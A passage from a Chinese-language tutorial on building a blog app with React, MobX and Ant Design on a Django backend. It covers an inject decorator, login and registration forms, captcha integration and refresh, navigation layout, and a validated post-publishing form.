        return <div>{this.props.a}</div>
    }
}

// 7 函数式组件简化
const inject = obj => Comp => {
    return props => <Comp {...obj} />;
} 
const inject = obj => Comp => props => <Comp {...obj} />; 
const inject = obj => Comp => props => <Comp {...obj} {...props} />; 
// 含义:inject(obj)装饰一个组件返回一个新组件,是对原组件的包装,并注入props

import React from 'react';
const inject = obj => Comp => props => <Comp {...obj} {...props} />; 

新建src/utils/index.js,放入以下内容

import React from 'react';

/**
 * 注入对象给被包装组件,返回包装组件
 * @param {*} obj {a:100}
 * @returns 
 */
const inject = obj => Comp => props => <Comp {...obj} {...props} />; 

export {inject};

将登陆、注册组件装饰一下

component/reg.js修改如下:

import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import '../css/login.css';
import {userService as service} from '../service/user';
import { observer } from 'mobx-react';
import { inject } from '../utils';

// export default class Reg extends React.Component {
//   render() {
//     return <_Reg service={service}/>
//   }
// }

@inject({service})
@observer
export default class Reg extends React.Component {
  validate(pwd, confirmpwd) {
    if (pwd.value === confirmpwd.value){
      return true;
    }else{
      pwd.focus();
      console.log('pwd failed')
      return false;
    }
  }

  handleClick(e) {
    e.preventDefault(); // 阻止默认行为
    const form = e.target.form;
    const [username, email, password, confirmpwd] = form;
    if (this.validate(password, confirmpwd))
      this.props.service.reg(username.value, email.value, password.value);
  }

  render() {
    console.log('reg render ~~~~')
    if (this.props.service.isLogin) { // 如果已经登录成功,就不要再注册了
        return <Redirect to='/profile' />;
    }
    if (this.props.service.isReg){
      return <Redirect to='/login' />
    }
    return (
      <div className="login-page">
        <div className="form">
          <form className="register-form">
            <input type="text" placeholder="用户名"/>
            <input type="text" placeholder="电子邮箱"/>
            <input type="password" placeholder="密码"/>
            <input type="password" placeholder="确认密码"/>
            <button onClick={this.handleClick.bind(this)}>注册</button>
            <p className="message">已经注册, <Link to='/login'>请登录</Link></p>
          </form>
        </div>
      </div>
    );
  }
}

component/login.js修改如下

/* src/component/login.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import "../css/login.css";
import {userService as service} from '../service/user';
import { observer } from 'mobx-react';
import { inject } from '../utils';

// export default class Login extends React.Component{
//     render() {
//         return <_Login service={service}/>
//     }
// }

@inject({service})
@observer // observer 必须紧紧靠着组件
export default class Login extends React.Component{
    handleClick(event) {
      console.log(event); // window.event
      event.preventDefault();
      console.log('click')
      const [username, password] = event.target.form;
      this.props.service.login(username.value, password.value);
    }
    render() {
        console.log('login render ~~~~~')
        if (this.props.service.isLogin) {
            return <Redirect to='/profile' />; // to表示跳转到哪里
        }
        return(
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="用户名" defaultValue='abc'/>
                <input type="password" placeholder="密码" defaultValue='abc'/>
                <button onClick={this.handleClick.bind(this)}>登录</button>
                <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}

Mobx的observer装饰器有要求,所以装饰的顺序要注意一下。

验证码

用来区分真人和机器的图灵测试。

假定有一个人和机器一起作答题目的实验,实验的评审人员不能观察到作答的人和机器,只能从结果判断,如果无法判断谁是人、谁是机器,那么机器通过图灵测试。

到目前为止,人机判断最行之有效的方法就是验证码。

PIL

Python Image Library,功能强大的图形库,但是只支持2.x。

Pillow是PIL的分支,支持3.x。

pip install pillow

验证码PIL支持2.X, Python3使用Pillow

Captcha

https://github.com/mbi/django-simple-captcha

文档:https://django-simple-captcha.readthedocs.io/en/latest/usage.html

pip install django-simple-captcha

修改settings.py文件,增加如下内容

INSTALLED_APPS = [
    'captcha'
]

# 第三方库配置
# Captcha
CAPTCHA_IMAGE_SIZE = (80, 30)
CAPTCHA_LENGTH = 4 # 字符长度

迁移

python manage.py migrate
# 数据库多一张表 captcha_captchastore
CREATE TABLE `blog`.`captcha_captchastore`  (
  `id` int NOT NULL AUTO_INCREMENT,
  `challenge` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `response` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `hashkey` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `expiration` datetime(6) NOT NULL,
  PRIMARY KEY (`id`) USING BTREE,
  UNIQUE INDEX `hashkey`(`hashkey` ASC) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
-- id
-- challenge
-- response
-- hashkey
-- expiration 超时

查看captcha.urls,源码如下

from django.urls import re_path

from captcha import views

urlpatterns = [
    # 前端 /api/captcha/image/xxx 验证码图
    re_path(
        r"image/(?P<key>\w+)/$",
        views.captcha_image,
        name="captcha-image",
        kwargs={"scale": 1},
    ),
    re_path(
        r"image/(?P<key>\w+)@2/$",
        views.captcha_image,
        name="captcha-image-2x",
        kwargs={"scale": 2},
    ),
    re_path(r"audio/(?P<key>\w+).wav$", views.captcha_audio, name="captcha-audio"),
    # '/captcha/refresh' 
    # 对于我们现在的前端来说必须使用 '/api/captcha/refresh'才能代理到django
    re_path(r"refresh/$", views.captcha_refresh, name="captcha-refresh"),
]

增加下面路由映射

blog/urls.py

urlpatterns = [
    ...
    path('posts/', include('post.urls')), # /posts/*
    path('captcha/', include('captcha.urls')), # /captcha/
]

客户端

后端-验证码接口

user/urls.py

from django.urls import path
from .views import reg, user_login, user_logout, get_captcha

urlpatterns = [
    path('', reg), # reg POST /users/
    path('login', user_login), # Post /users/login
    path('logout', user_logout), # Post /users/logout
    path('getcaptcha', get_captcha), # Get /users/getcaptcha
]

user/views.py

...
from captcha.models import CaptchaStore
from captcha.helpers import captcha_image_url

@require_GET
def get_captcha(request:HttpRequest):
    try:
        key = CaptchaStore.generate_key()
        image_url = captcha_image_url(key)
        return JsonResponse({'key':key, 'image_url':image_url})
    except Exception as e:
        print(e)
        return JsonResponse(Messages.NOT_FOUND)

前端-获取验证码

axios/index.js 增加GET方法

import axios from 'axios';

// axios.post axios.get proxy:/api/users/login -> rewrite http://localhost:8000/users/login
// baseURL:/api
export default class Axios {
    static config = {
        baseURL: '/api',
        timeout:3000,
    }
    static post(params) {
        return axios.post(
            params.url, 
            params.data, 
            {...this.config, ...params.config}
        ).then( // 返回一个全新的Promise对象
            response => { // 200. 一定要用箭头函数,否则this有问题
                const data = response.data; 
                if (!data.code) {
                    // sucess
                    return data;  // 相当于 return Promise.resolve(data);
                }else{
                    // failed
                    return Promise.reject(data); // {code:1, msg:xxx}
                }
            }
        ).catch( // 失败给出失败的理由
            reason => {
                return Promise.reject(reason); // 自己调用
                // return Promise.reject('请求错误');
            }
        )
    }

    static get(params) {
        return axios.get(
            params.url, 
            {...this.config, ...params.config}
        ).then( // 返回一个全新的Promise对象
            response => { // 200. 一定要用箭头函数,否则this有问题
                const data = response.data; 
                if (!data.code) {
                    // sucess
                    return data;  // 相当于 return Promise.resolve(data);
                }else{
                    // failed
                    return Promise.reject(data); // {code:1, msg:xxx}
                }
            }
        ).catch( // 失败给出失败的理由
            reason => {
                return Promise.reject(reason); // 自己调用
                // return Promise.reject('请求错误');
            }
        )
    }
}

登录时,显示验证码图片image_url

/*src/component/login.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import "../css/login.css";
import {userService as service} from '../service/user';
import { observer } from 'mobx-react';
import { inject } from '../utils';

// export default class Login extends React.Component{
//     render() {
//         return <_Login service={service}/>
//     }
// }

@inject({service})
@observer // observer 必须紧紧靠着组件
export default class Login extends React.Component{
    constructor(props) {
        super(props);
        this.props.service.getCaptcha();
    }

    handleClick(event) {
      console.log(event); // window.event
      event.preventDefault();
      console.log('click')
      const [username, password] = event.target.form;
      this.props.service.login(username.value, password.value);
    }
    render() {
        console.log('login render ~~~~~')
        if (this.props.service.isLogin) {
            return <Redirect to='/profile' />; // to表示跳转到哪里
        }

        const {key='', image_url=''} = this.props.service.captcha;

        return(
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="用户名" defaultValue='abc'/>
                <input type="password" placeholder="密码" defaultValue='abc'/>
                <img src={image_url} />
                <button onClick={this.handleClick.bind(this)}>登录</button>
                <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}

service/user.js增加获得验证码地址方法getCaptcha()

/*service/user.js*/
// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";
import { message } from 'antd';

class UserService {
    @observable isLogin = false;
    @observable isReg = false;
    @observable captcha = {};

    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                // window.alert(reason.msg);
                message.warning(reason.msg, 8); // 8秒消失
            }
        );
    }

    reg(username, email, password) {
        console.log(username, email, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/',
            data:{username, email, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isReg = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }

    getCaptcha() {
        axios.get({
            url:'/users/getcaptcha',
        }).then(
            value => {
                console.log('成功了!!!!', value)
                // {'key':key, 'image_url':image_url}
                value.image_url = '/api' + value.image_url;
                this.captcha = value;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }
}

const userService = new UserService();
export {userService}

访问 http://localhost:3000/login 可看到验证码图片

后端-登录认证

messages.py 增加验证码错误

class Messages:
    INVALID_USERNAME_OR_PASSWORD = {'code':1, 'msg':'用户名或密码错误'}
    BAD_REQUEST = {'code':2, 'msg':'请求信息错误'}
    USER_EXISTS = {'code':3, 'msg':'用户已存在'}
    NOT_FOUND = {'code':4, 'msg':'资源不存在'}
    WRONG_CAPTCHA = {'code':5, 'msg':'验证码错误'}

user/views.py

from django.shortcuts import render
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_GET, require_POST, require_http_methods
# from django.contrib.auth.decorators import login_required  #写的非常好
from functools import wraps
from django.contrib.sessions.backends.db import SessionStore
import simplejson
from messages import Messages

@require_POST
def reg(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

# 验证码装饰器
def test_captcha(viewfunc):
    @wraps(viewfunc)
    def wrapper(request:HttpRequest, *args, **kwargs):
        try:
            payload = simplejson.loads(request.body)
            challenge = payload['challenge']
            key = payload['key']
            if challenge.lower() == CaptchaStore.objects.get(hashkey=key).response:
                return viewfunc(request, *args, **kwargs)
        except Exception as e:
            print(e)
        return JsonResponse(Messages.WRONG_CAPTCHA)
    return wrapper

@require_POST
@test_captcha
def user_login(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        # 验证码判断 使用装饰器
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        user = authenticate(username=username, password=password)
        print('='*30)
        if user and user.is_active: #用户密码正确
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print('=*'*30)
            # 如果有必要,可以使用session保存一些信息
            session:SessionStore = request.session
            # session.set_expiry(60*60*24) # 设置过期时间,单位秒
            session['user_info'] = {
                'id': request.user.id,
                'username':request.user.username
            }
            return JsonResponse({}) # 使用了login函数,返回时就带着set-cookie,设置sessionid
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        print(e)
        return JsonResponse(Messages.BAD_REQUEST, status=200)

def login_required(exclude_methods):
    def _login_required(viewfunc):
        # 参照django.contrib.auth.decorators.login_required
        @wraps(viewfunc)
        def wrapper(request, *args, **kwars):
            print('=' * 30)
            method = request.method.lower()
            if method in exclude_methods:
                return viewfunc(request, *args, **kwars)
            else:
                if request.user.is_authenticated:
                    print('认证了')
                    return viewfunc(request, *args, **kwars)
                print('未认证通过')
                return HttpResponse(status=401)
        return wrapper
    if callable(exclude_methods): # 兼容之前调用,如果是无参调用就是函数,帮它往里面调用一层返回
        fn = exclude_methods
        exclude_methods = () # 表示没什么方法method要排除,都要认证
        return _login_required(fn)
    return _login_required

@login_required
# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    logout(request) # request.session, request.user 清空当前用户登录状态,包括session和数据库django_session记录
    return HttpResponse('登出成功', status=200)

from captcha.models import CaptchaStore
from captcha.helpers import captcha_image_url

@require_GET
def get_captcha(request:HttpRequest):
    try:
        key = CaptchaStore.generate_key()
        image_url = captcha_image_url(key)
        return JsonResponse({'key':key, 'image_url':image_url})
    except Exception as e:
        print(e)
        return JsonResponse(Messages.NOT_FOUND)

前端- 登录认证

component/login.js增加填写验证码信息

/*src/component/login.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import "../css/login.css";
import {userService as service} from '../service/user';
import { observer } from 'mobx-react';
import { inject } from '../utils';

// export default class Login extends React.Component{
//     render() {
//         return <_Login service={service}/>
//     }
// }

@inject({service})
@observer // observer 必须紧紧靠着组件
export default class Login extends React.Component{
    constructor(props) {
        super(props);
        this.props.service.getCaptcha();
    }

    handleClick(event) {
      console.log(event); // window.event
      event.preventDefault();
      console.log('click')
      const [username, password, challenge, key] = event.target.form;
      this.props.service.login(
        username.value, password.value,
        challenge.value, key.value,
    );
    }
    render() {
        console.log('login render ~~~~~')
        if (this.props.service.isLogin) {
            return <Redirect to='/profile' />; // to表示跳转到哪里
        }

        const {key='', image_url=''} = this.props.service.captcha;

        return(
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="用户名" defaultValue='abc'/>
                <input type="password" placeholder="密码" defaultValue='abc'/>
                <input type="challenge" placeholder="验证码" style={{width:'70%'}}/>
                <input type='hidden' value={key} />
                <img src={image_url} />
                <button onClick={this.handleClick.bind(this)}>登录</button>
                <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}

service/user.js后台传送验证码信息challenge, key

/*service/user.js*/
// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";
import { message } from 'antd';

class UserService {
    @observable isLogin = false;
    @observable isReg = false;
    @observable captcha = {};

    login(username, password, challenge, key) {
        console.log(username, password, challenge, key); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password, challenge, key}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                // window.alert(reason.msg);
                message.warning(reason.msg, 8); // 8秒消失
            }
        );
    }

    reg(username, email, password) {
        console.log(username, email, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/',
            data:{username, email, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isReg = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }

    getCaptcha() {
        axios.get({
            url:'/users/getcaptcha',
        }).then(
            value => {
                console.log('成功了!!!!', value)
                // {'key':key, 'image_url':image_url}
                value.image_url = '/api' + value.image_url;
                this.captcha = value;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }
}

const userService = new UserService();
export {userService}

前端-刷新验证码

component/login.js增加点验证码图片事件

/* component/login.js*/
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import "../css/login.css";
import {userService as service}  from '../service/user';
import { observer } from 'mobx-react';
import { inject } from '../utils';

// export default class Login extends React.Component{
//     render() {
//         return <_Login service={service}/>
//     }
// }

@inject({service})
@observer
export default class Login extends React.Component {
    constructor(props) {
        super(props);
        this.props.service.getCaptcha();
    }

    handleClick(event) {
        console.log(event); // window.event
        event.preventDefault();
        console.log('click')
        const [username, password, challenge, key] = event.target.form;
        this.props.service.login(
            username.value, password.value,
            challenge.value, key.value,
        );
    }

    handleRefresh(){
        // 请求service层,访问refresh,重新提供新的key和image_url
        // 覆盖当前的img src和input hidden
        this.props.service.captchaRefresh();

    }

    render() {
        console.log('login render ~~~~~')
        if (this.props.service.isLogin) {
            return <Redirect to='/profile' />; // to表示跳转到哪里
        }

        const {key='', image_url=''} = this.props.service.captcha;

        return (
            <div className="login-page">
                <div className="form">
                    <form className="login-form">
                        <input type="text" placeholder="用户名" defaultValue='abc' />
                        <input type="password" placeholder="密码" defaultValue='abc' />
                        <input type="challenge" placeholder="验证码" style={{width:'70%'}}/>
                        <input type='hidden' value={key} />
                        <img src={image_url} onClick={this.handleRefresh.bind(this)} />
                        <button onClick={this.handleClick.bind(this)}>登录</button>
                        <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                    </form>
                </div>
            </div>
        )
    }
}

service/user.js

// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";
import { message } from 'antd';

class UserService {
    @observable isLogin = false;
    @observable isReg = false;
    @observable captcha = {};

    login(username, password, challenge, key) {
        console.log(username, password, challenge, key); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password, challenge, key}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                // window.alert(reason.msg);
                message.warning(reason.msg, 8); // 8秒消失
            }
        );
    }

    reg(username, email, password) {
        console.log(username, email, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/',
            data:{username, email, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isReg = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }

    getCaptcha() {
        // get 请求去取回 image_url, key 填充img标签的src,key input: hidden
        axios.get({
            url:'/users/getcaptcha',
        }).then(
            value => {
                console.log('成功了!!!!', value)
                // {'key':key, 'image_url':image_url}
                value.image_url = '/api' + value.image_url;
                this.captcha = value;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }

    captchaRefresh() {
        // get 请求refreshr的url去调用后台刷新新函数 image_url, key 填充img标签的src,key input: hidden
        axios.get({
            url:'/captcha/refresh/',
            config: {
                headers: {'X-Requested-With': 'XMLHttpRequest'} // 增加一个头,让后台理解为is_ajax()
            }
        }).then(
            value => {
                console.log('成功了!!!!', value)
                // {'key':key, 'image_url':image_url}
                value.image_url = '/api' + value.image_url;
                this.captcha = {image_url:value.image_url, key:value.key};
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }
}

const userService = new UserService();
export {userService};

博文业务代码实现和Antd组件

导航菜单

菜单网址

Menu 菜单组件

  • mode有水平、垂直、内嵌

Menu.Item 菜单项

  • key菜单项item的唯一标识

修改src/index.js导航菜单

/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';

import { Menu, Icon } from 'antd';

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2><hr />页脚</h2>;
const Profile = props => <h2>用户信息: </h2>;

class App extends React.Component {
  state = {
    current: 'mail',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <div>
        <Menu onClick={this.handleClick} selectedKeys={[this.state.current]} 
        defaultOpenKeys={'home'} mode="horizontal" theme='dark'>
          <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
          <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
          <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
          <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
        </Menu>
        <Switch>
          <Route exact path={["/", '/index']} component={Home}></Route>
          <Route path="/login" component={Login}></Route>
          <Route path="/reg" component={Reg}></Route>
          <Route path="/about" component={About}></Route>
          <Route path="/profile" component={Profile}></Route>
          <Route component={Default}></Route>
        </Switch>
        <Route component={Always}></Route>
      </div>
    </Router>
  }
}
render(<App />, document.getElementById('root'));

页面布局

修改src/index.js导航菜单

/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';

import { Menu, Icon, Layout } from 'antd';
const { Header, Content, Footer } = Layout;

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2>blog ©2008 Created by Jasper</h2>;
const Profile = props => <h2>用户信息: </h2>;

class App extends React.Component {
  state = {
    current: 'home',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <Layout className="layout">
        <Header>
          <Menu onClick={this.handleClick}
            theme="dark"
            mode="horizontal"
            defaultSelectedKeys={[this.state.current]}
            style={{ lineHeight: '64px' }}
          // selectedKeys={[this.state.current]}
          >
            <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
            <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
            <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
            <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
          </Menu>
        </Header>
        <Content style={{ padding: '10px 50px' }}>
          <div style={{ background: '#fff', padding: 24, minHeight: 280 }}>
            <Switch>
              <Route exact path={["/", '/index']} component={Home}></Route>
              <Route path="/login" component={Login}></Route>
              <Route path="/reg" component={Reg}></Route>
              <Route path="/about" component={About}></Route>
              <Route path="/profile" component={Profile}></Route>
              <Route component={Default}></Route>
            </Switch>
          </div>
        </Content>
        <Footer style={{ textAlign: 'center' }}>
          <Route component={Always}></Route>
        </Footer>
      </Layout>
    </Router>
  }
}
render(<App />, document.getElementById('root'));

注意,菜单中Link需要包着Icon,否则会错位。

博文业务

url method 说明
posts POST 提交博文的title、content,成功返回json,包含post的id
/posts/id GET 返回博文详情,返回json,id,title、author_id、postdate(时间戳)、content
posts GET 返回博文标题列表,分页

业务层

创建service/post.js文件,新建PostService类。

/*service/post.js*/
import axios from "../axios";
import { observable } from "mobx";
import { message } from 'antd';

class PostService {
    @observable success = false;

    pub(title, content) {
        console.log('去处理', title, content); // Ajax axios xmlhttprequest

        axios.post({
            url:'/posts/',
            data:{title, content}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                message.info('博文提交成功');
                // 增强,确认是否跳转
                this.success = true;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
}

const postService = new PostService();
export {postService}

发布组件

<Form labelCol={{ span: 5 }} wrapperCol={{ span: 12 }} onSubmit={this.handleSubmit}>
总共24个栅格,从5开始,input占12个

创建component/pub.js文件

/*src/component/pub.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Form, Input, Button, Modal } from 'antd';

@inject({ service })
@observer // observer 必须紧紧靠着组件
export default class Pub extends React.Component {
    // state = { visible: false };

    handleSubmit(e) {
        e.preventDefault(); // 阻止提交
        console.log(e.target);
        let form = e.target;
        const [title, content] = form;
        console.log(title.value, content.value);
        this.props.service.pub(title.value, content.value)
    }

    handleOk = e => {
        console.log(e);
        this.props.service.success = false;
    };

    handleCancel = e => {
        console.log(e);
        this.props.service.success = false;
    };

    render() {
        console.log('pub render ~~~~~')
        const layout = {
            labelCol: { span: 5 },
            wrapperCol: { span: 14 },
        };
        const tailLayout = {
            wrapperCol: { offset: 8, span: 16 },
        };
        return (
            <div>
                <Modal
                    title="成功提交"
                    visible={this.props.service.success}
                    onOk={this.handleOk.bind(this)}
                    onCancel={this.handleCancel.bind(this)}>
                    <p>是否跳转到该内容的页面?</p>
                </Modal>
                <Form {...layout} onSubmit={this.handleSubmit.bind(this)}>
                    <Form.Item label="标题">
                        <Input placeholder='请输入标题' />
                    </Form.Item>
                    <Form.Item label="内容">
                        <Input.TextArea rows={4} placeholder='请输入内容' />
                    </Form.Item>
                    <Form.Item wrapperCol={{ span: 12, offset: 5 }}>
                        <Button type="primary" htmlType="submit">
                            发布
                        </Button>
                    </Form.Item>
                </Form>
            </div>
        );
    }
}
/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';
import Pub from './component/pub';

import { Menu, Icon, Layout } from 'antd';
const { Header, Content, Footer } = Layout;

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2>blog ©2008 Created by Jasper</h2>;
const Profile = props => <h2>用户信息: </h2>;

class App extends React.Component {
  state = {
    current: 'home',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <Layout className="layout">
        <Header>
          <Menu onClick={this.handleClick}
            theme="dark"
            mode="horizontal"
            defaultSelectedKeys={[this.state.current]}
            style={{ lineHeight: '64px' }}
          // selectedKeys={[this.state.current]}
          >
            <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
            <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
            <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
            <Menu.Item key="pub"><Link to="/pub"><Icon type="edit" />写博客</Link></Menu.Item>
            <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
          </Menu>
        </Header>
        <Content style={{ padding: '10px 50px' }}>
          <div style={{ background: '#fff', padding: 24, minHeight: 280 }}>
            <Switch>
              <Route exact path={["/", '/index']} component={Home}></Route>
              <Route path="/login" component={Login}></Route>
              <Route path="/reg" component={Reg}></Route>
              <Route path="/about" component={About}></Route>
              <Route path="/profile" component={Profile}></Route>
              <Route path="/pub" component={Pub}></Route>
              <Route component={Default}></Route>
            </Switch>
          </div>
        </Content>
        <Footer style={{ textAlign: 'center' }}>
          <Route component={Always}></Route>
        </Footer>
      </Layout>
    </Router>
  }
}
render(<App />, document.getElementById('root'));
  • Form 表单组件,layout是垂直,onSubmitCapture提交,注意这个提交的this就是表单自己
  • FormItem表单项
    • label 设置控件前的标题
    • labelCol设置label的宽度,wrapperCol是label后占用的宽度,这些单位都是栅格系统的宽度
    • 参考Antd/Form表单/表单布局https://ant.design/components/form-cn/#components-form-demo-layout
    • 栅格系统:AntD提供了一个类似于Bootstrap的栅格系统,她将页面分成了24等分的列
    • span代表占几个格子:offset表示左边空出多个格子
  • Input输入框,placeholder提示字符
  • TextArea文本框,rows行数
  • Button按钮
    • type是按钮的类型,也决定它的颜色
    • htmlType使用HTML中的Type值,submit是提交按钮会触发提交行为,一定要写,但是handleSubmit中要阻止默认行为。

表单数据验证

<Form.Item label="标题">
    {
        getFieldDecorator('title', {
            rules: [
                { required: true, message: '请输入标题' },
                { min: 2, message: '标题至少应该有2个字' }
            ],
        })(<Input placeholder='请输入标题' />)
    }
</Form.Item>

检验规则: https://3x.ant.design/components/form-cn/#getFieldDecorator(id,-options)-%E5%8F%82%E6%95%B0

getFieldDecorator传参后,包装一个控件,表单控件会自动添加III value (或valuePropName指定的其他属性)onChange(或trigger指定的其他属性),数据同步将被|Form接管,这会导致以下结果:

  1. 你不再需要也不应该用onChange来做同步,但还是可以继续监听onChange等事件
  2. 你不能用控件的valuedefaultValue等属性来设置表单域的值,默认值可以用getFieldDecorator里的initialValue
  3. 你不应该用setState,可以使用this.props.form.setFieldsValue来动态改变表单值

getFieldDecorator(id, optipns)参数

  • id必须,string,作为空间的唯一标识
  • options.rules检验规则,对象列表,定义多种规则对象
    • required,是否必须,布尔,默认false
    • max,最大长度,number
    • min,最小长度,number
    • message,失败提示,string或ReactNode
    • pattern,正则表达式校验,RegExp
参数 说明 类型 默认值 版本
enum 枚举类型 string -  
len 字段长度 number -  
max 最大长度 number -  
message 校验文案 string|ReactNode -  
min 最小长度 number -  
pattern 正则表达式校验 RegExp -  
required 是否必选 boolean false  
transform 校验前转换字段值 function(value) => transformedValue:any -  
type 内建校验类型,可选项 string 'string'  
validator 自定义校验(注意,callback 必须被调用) function(rule, value, callback) -  
whitespace 必选时,空格是否会被视为错误 boolean false  

一定要把当前组件包装一下,才会注入一个this.props.form 提交函数

/*src/component/pub.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Form, Input, Button, Modal } from 'antd';

@inject({ service })
@observer // observer 必须紧紧靠着组件
class _Pub extends React.Component {

    handleSubmit(e) {
        e.preventDefault(); // 阻止提交
        this.props.form.validateFields((err, values) => {
            if (!err) {
                console.log('没有错,再看', values);
                const { title, content } = values;
